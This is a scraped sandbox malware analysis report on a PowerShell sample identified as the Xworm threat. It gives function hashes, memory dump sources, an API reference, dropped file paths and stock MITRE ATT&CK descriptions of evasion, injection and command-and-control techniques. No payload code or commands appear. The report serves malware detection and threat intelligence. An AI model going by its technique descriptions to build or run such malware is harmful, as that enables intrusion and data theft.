Snapshot File: hcaresult_0_2_7ffd34890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67f6bcd5c2c6510cfa0314d360285ab673bf19732a2cc7ebcbbf40c3fd843f74
Instruction ID: d03e2746cb47078c66e0fa9e2a757b3e48e8ae0215f32e6b193ff8aded9b5638
Opcode Fuzzy Hash: 67f6bcd5c2c6510cfa0314d360285ab673bf19732a2cc7ebcbbf40c3fd843f74
Instruction Fuzzy Hash: A1213863B0DA555FE758A66C9CA55F67BD1EF9327030802BFD18AC7193EC1868064290

Function 00007FFD3496149A Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208679066.00007FFD34960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3553df36754f14bb477414ee98f2a84a4911c1f0e66392c122058b00494c995e
Instruction ID: d827d8bc9613a534c8d6349cdcc4f5bbe0d30693f8a794b233f90bd3eff65e3e
Opcode Fuzzy Hash: 3553df36754f14bb477414ee98f2a84a4911c1f0e66392c122058b00494c995e
Instruction Fuzzy Hash: 90212E32B0C9190FFBA4966C64675F4B3D2EF95370B1801BBD54EC3196DD1DAC155390

Function 00007FFD3489B3AA Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208252167.00007FFD34890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 158a0ad237624879c0a9461802c9d35656c2279f1c493880ba65786dc4695f93
Instruction ID: 2c8b41ae07bbd9eee204ddd4ab78cda8bc4471fc84d25bd1a734f4c6667ab0d3
Opcode Fuzzy Hash: 158a0ad237624879c0a9461802c9d35656c2279f1c493880ba65786dc4695f93
Instruction Fuzzy Hash: E2110B52B1CE4657E71CAB6C48B61797AC3EFD6310B14817ED94AC32D7EC2C7C412182

Function 00007FFD3489B4D4 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208252167.00007FFD34890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86cc2baa37428806058d51dc4811794b8b49f4f262694f711e856aebacda485c
Instruction ID: 0b114cd92ed62c9d0b549ee5fd40e5ebcfc5a93938125d7a5fedfbc6f3a7e410
Opcode Fuzzy Hash: 86cc2baa37428806058d51dc4811794b8b49f4f262694f711e856aebacda485c
Instruction Fuzzy Hash: AA018453F1CE4A5BE698A77C18BA279AAC1FF66610B4802BED94DD32D3DC1C3C016281

Function 00007FFD3489D97C Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208252167.00007FFD34890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81c5e316d8eca2a5aae864ab6033118087c79185e2b265fa7442c11eb26739bf
Instruction ID: fd5a694c372be8af6057a3593c225890e32f0274566b72c408b0abdd079cc959
Opcode Fuzzy Hash: 81c5e316d8eca2a5aae864ab6033118087c79185e2b265fa7442c11eb26739bf
Instruction Fuzzy Hash: 7001A252B0CD460BF39DB7A800B92B959C2DFA6749B0401BFC60EC72D3DC1CB8452389

Function 00007FFD348937B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208252167.00007FFD34890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: bf533fd274c58afd781b72c11c81cc6882029034b975418c297449fcca739756
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: 5D01677121CB0D4FD744EF4CE451AA6B7E0FB99364F10056DE58AC3651D736E882CB45

Function 00007FFD349614C1 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208679066.00007FFD34960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13afe774dfdad68bdc1a15cacbe22741df590d27210a85658c9d87c813a4e7a7
Instruction ID: e730f9fd3fe8cf1c57286e0291a880b1ea76b5e75f754e4cd397272465981f63
Opcode Fuzzy Hash: 13afe774dfdad68bdc1a15cacbe22741df590d27210a85658c9d87c813a4e7a7
Instruction Fuzzy Hash: CDF08223F0D9590EF7A195AC34A71F496C2EFA667174802BBD98EC325ADC1C6C155390

Function 00007FFD348985CE Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208252167.00007FFD34890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7faea9fefb52cfa75fd5994ddaa3f483de9e18e1e582f790d0192c7421e3833
Instruction ID: 030d8506fbf5dd07100f65fa6565c412e0434956165931c4e9a3b2cfe8a83e1d
Opcode Fuzzy Hash: b7faea9fefb52cfa75fd5994ddaa3f483de9e18e1e582f790d0192c7421e3833
Instruction Fuzzy Hash: BDF0E9317486064BDB1CDE3C84A70397696E786300760523DE997C73E6FC28E92382C1

Function 00007FFD348955AB Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208252167.00007FFD34890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd399b43da0b202a4eed6ef7b787f42e79f1d441521606ab0e3fb05ee8d8e9c9
Instruction ID: 7443001c9cfd3001d702ffc2696307a3d42f97e54776c436e7e2f8b6986cee00
Opcode Fuzzy Hash: dd399b43da0b202a4eed6ef7b787f42e79f1d441521606ab0e3fb05ee8d8e9c9
Instruction Fuzzy Hash: DFF01230A2D7455BD7889B6880A542A7BD1FF89604F50653DE5CAD3282CB38A9028A47

Function 00007FFD348948D7 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208252167.00007FFD34890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 634821d215ebc2fc4eaa4b12bfa7367ba74d3569bc5ed6b867656292cd642d97
Instruction ID: cfdb3aaec4c7ae0025218d6ef1ec2c0fad0cebddd64555760520ef25db3ee97a
Opcode Fuzzy Hash: 634821d215ebc2fc4eaa4b12bfa7367ba74d3569bc5ed6b867656292cd642d97
Instruction Fuzzy Hash: E3F06D70E0950BCBEB04DFA8C4819BEBBF2BB85710F108526D105E2285DA38AA40DF90

Non-executed Functions

Function 00007FFD348940FA Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208252167.00007FFD34890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83b0d8363a1683194cca4964059ddb78de08a54c4b2702115c1b5c8700d6d808
Instruction ID: 9ab21d3243b6968ff7a87348617c6c02f43943f37142b242ff75b62cd227a9c8
Opcode Fuzzy Hash: 83b0d8363a1683194cca4964059ddb78de08a54c4b2702115c1b5c8700d6d808
Instruction Fuzzy Hash: 9661665AB0DBD25FF752972C68F60D63F90DFA366570910F7C685CE093ED0D280AA262

Function 00007FFD3489D65D Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208252167.00007FFD34890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d52b23e5987d7f370b8fd62c7d0106d53d15c30009b127f899335da12408c1c0
Instruction ID: 0c5eceee2f7430178afba6720bfd8a627db51e8d05831db08f41a10dcbf13abb
Opcode Fuzzy Hash: d52b23e5987d7f370b8fd62c7d0106d53d15c30009b127f899335da12408c1c0
Instruction Fuzzy Hash: 7F51E817B0DA966BE751A77CA8F51DA7BE0DF5336870C01B3C788CA093EE1C68079256

Function 00007FFD34893E65 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208252167.00007FFD34890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39f6a637c8f3453fd0d66bcade4a3a9c40965b1a580559af64939ff2ef6a94ea
Instruction ID: 2349285e9f0c332237a7ca3d0339291dc50cdee4a736a2fa5cbc4b9c6f7dee27
Opcode Fuzzy Hash: 39f6a637c8f3453fd0d66bcade4a3a9c40965b1a580559af64939ff2ef6a94ea
Instruction Fuzzy Hash: A1514F67A0EBC65FF762472C58B61D92FE0DF57269B0A11F2CA95CE093ED0C1817A212

Function 00007FFD3489D5CF Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208252167.00007FFD34890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a74e1384a4bd2ddb27c5ac72f1fcae05adb51a3410daf295d7f00fb3be47c7c1
Instruction ID: 83a280c694ef5c63510e14ce0b6874ba257bd47e4a6b2267d1bd01e01bd2c66c
Opcode Fuzzy Hash: a74e1384a4bd2ddb27c5ac72f1fcae05adb51a3410daf295d7f00fb3be47c7c1
Instruction Fuzzy Hash: 3941E617B0DA966BE751A76CA8F51DA7BE0DF5336870C01B3C788CA093EE1C68069256

Function 00007FFD34893BFB Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208252167.00007FFD34890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd834c3c75a1714196b33e188dc6fb8d915c62111a568b48ad088926e95746d3
Instruction ID: 51adb0cc00cb022cbd78182aec117161e732c7bbe14f6d562a44bd7fc315924a
Opcode Fuzzy Hash: cd834c3c75a1714196b33e188dc6fb8d915c62111a568b48ad088926e95746d3
Instruction Fuzzy Hash: 1C413F57A0DFD21BF727932D98B60D97FE0DF5722470A00B7C684CE0939D0C1C4AA222

Function 00007FFD3489A5D9 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208252167.00007FFD34890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45c0190a98a828827f5251433e5e407618b3de6a5ce612031060606605d8d990
Instruction ID: 8319acb2878f2e915d002b610b46dff98f4416a158eb994633ba990290cbfd97
Opcode Fuzzy Hash: 45c0190a98a828827f5251433e5e407618b3de6a5ce612031060606605d8d990
Instruction Fuzzy Hash: 8D2107A265E3C80FD31E5A745C9B0B2BFA8CB4312030A42FFC6C2CB4B3D94858079392

Function 00007FFD34895190 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208252167.00007FFD34890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e1cbc1a9339073489708fd798bcfb4cea1f74a160504545715228aa4fc22be7
Instruction ID: bbe82249da6b747e792996a2218e9897146913815ac812f3d3c248297060f540
Opcode Fuzzy Hash: 5e1cbc1a9339073489708fd798bcfb4cea1f74a160504545715228aa4fc22be7
Instruction Fuzzy Hash: 07219D62B0DA890BE36D9DB84CEA472BB99D787164306827EC6CBC71A3DD18640742C0

Function 00007FFD348979C4 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208252167.00007FFD34890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 260a9bffa6d8f3a5ae34b9eac9dfc48889ac71922e55e45b87b99abcccd3368e
Instruction ID: 99544643789d1c2ae0448a11c6bcfe218f8954599278f83c308f767236330e76
Opcode Fuzzy Hash: 260a9bffa6d8f3a5ae34b9eac9dfc48889ac71922e55e45b87b99abcccd3368e
Instruction Fuzzy Hash: 76110431B1CA581FD72C8E38886513B7BDAE3C7210B11837EE687C32D6DE28980356C1

Analysis Process: RegSvcs.exePID: 5916, Parent PID: 6212COMMON

Executed Functions

Function 012779F7 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,0127811A), ref: 01278207

Memory Dump Source

Source File: 00000004.00000002.4601596438.0000000001270000.00000040.00000800.00020000.00000000.sdmp, Offset: 01270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1270000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 2600b28c6b8bcfdea5ea4d01fbb56ac2f5a157ff622f37bc3e5a980eb2186a73
Instruction ID: 7fee8588bcbc9855fab4c982f445d83ec7706244f9218c200e8de9986d6829b5
Opcode Fuzzy Hash: 2600b28c6b8bcfdea5ea4d01fbb56ac2f5a157ff622f37bc3e5a980eb2186a73
Instruction Fuzzy Hash: D82166B1C0469ADFDB10DFAAC8447EABBF4AF49320F14806AD554A7241D3786944CFA5

Function 01277A14 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,0127811A), ref: 01278207

Memory Dump Source

Source File: 00000004.00000002.4601596438.0000000001270000.00000040.00000800.00020000.00000000.sdmp, Offset: 01270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1270000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: f6b353757f3b06fc86040370d87a23531c028f85f31ade27240bd4e3549999c0
Instruction ID: d300dfb6f03e3a8ee07e67f6be2c45d1be4476ca5887d2a938502093e4da6f78
Opcode Fuzzy Hash: f6b353757f3b06fc86040370d87a23531c028f85f31ade27240bd4e3549999c0
Instruction Fuzzy Hash: 891114B1C10699DFDB10CF9AD448B9EFBF4EF48210F15816AE918B7241D378A944CFA5

Function 0127819A Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,0127811A), ref: 01278207

Memory Dump Source

Source File: 00000004.00000002.4601596438.0000000001270000.00000040.00000800.00020000.00000000.sdmp, Offset: 01270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1270000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 321d4a445136985041fe31912aed4c0d7e43413edb2abf6c795054903729ac4d
Instruction ID: fef0854159f687d73870c568adce8da3c47a4b100379ee8496fae225106bf81f
Opcode Fuzzy Hash: 321d4a445136985041fe31912aed4c0d7e43413edb2abf6c795054903729ac4d
Instruction Fuzzy Hash: FA1114B1C0069ADFDB10CFAAC4447DEFBF4AF48210F25855AD518B7241D378A945CFA5

Function 0120D400 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4601301059.000000000120D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0120D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_120d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d8ab1a6f121b5287928829e89387399a81682ccbeadaa6613acf0c4218067b4
Instruction ID: 88840d8066f2c443982c6882cf5b55756130f738e96fca29f73f514329ccee3d
Opcode Fuzzy Hash: 7d8ab1a6f121b5287928829e89387399a81682ccbeadaa6613acf0c4218067b4
Instruction Fuzzy Hash: B8214871510208EFDB06DF94D9C0B66BF65FB84324F20C26CE9090B287C376E446CAA1

Function 0120D3FB Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4601301059.000000000120D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0120D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_120d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77fadd82fdc2d56cf39070efea1a70d2bd0433e89b8e3a9964b57efaebe0ac53
Instruction ID: e5fcbd7acda5657b10456b41c9354ad1add6f6b0aa3ab22be472ac42ad23795b
Opcode Fuzzy Hash: 77fadd82fdc2d56cf39070efea1a70d2bd0433e89b8e3a9964b57efaebe0ac53
Instruction Fuzzy Hash: 5211E176504244DFCB12CF54D5C4B56BF71FB84320F24C2A9D9090B257C33AE45ACBA2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 176.113.115.170.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0jsey4b5.4gm.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wef4roxy.0ja.ps1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8JX3M02ZEKXIEXZFPGMS.temp

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
176.113.115.170.ps1